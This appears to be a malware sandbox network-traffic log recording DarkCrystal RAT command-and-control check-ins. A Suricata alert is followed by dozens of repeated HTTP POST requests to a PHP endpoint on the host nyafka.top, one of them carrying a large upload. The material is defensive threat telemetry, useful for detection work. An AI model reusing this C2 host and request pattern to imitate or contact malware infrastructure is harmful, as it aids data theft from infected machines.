Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.5:49853 -> 104.21.112.1:80

Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1816Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 268532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1852Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1816Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1816Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1836Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1816Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
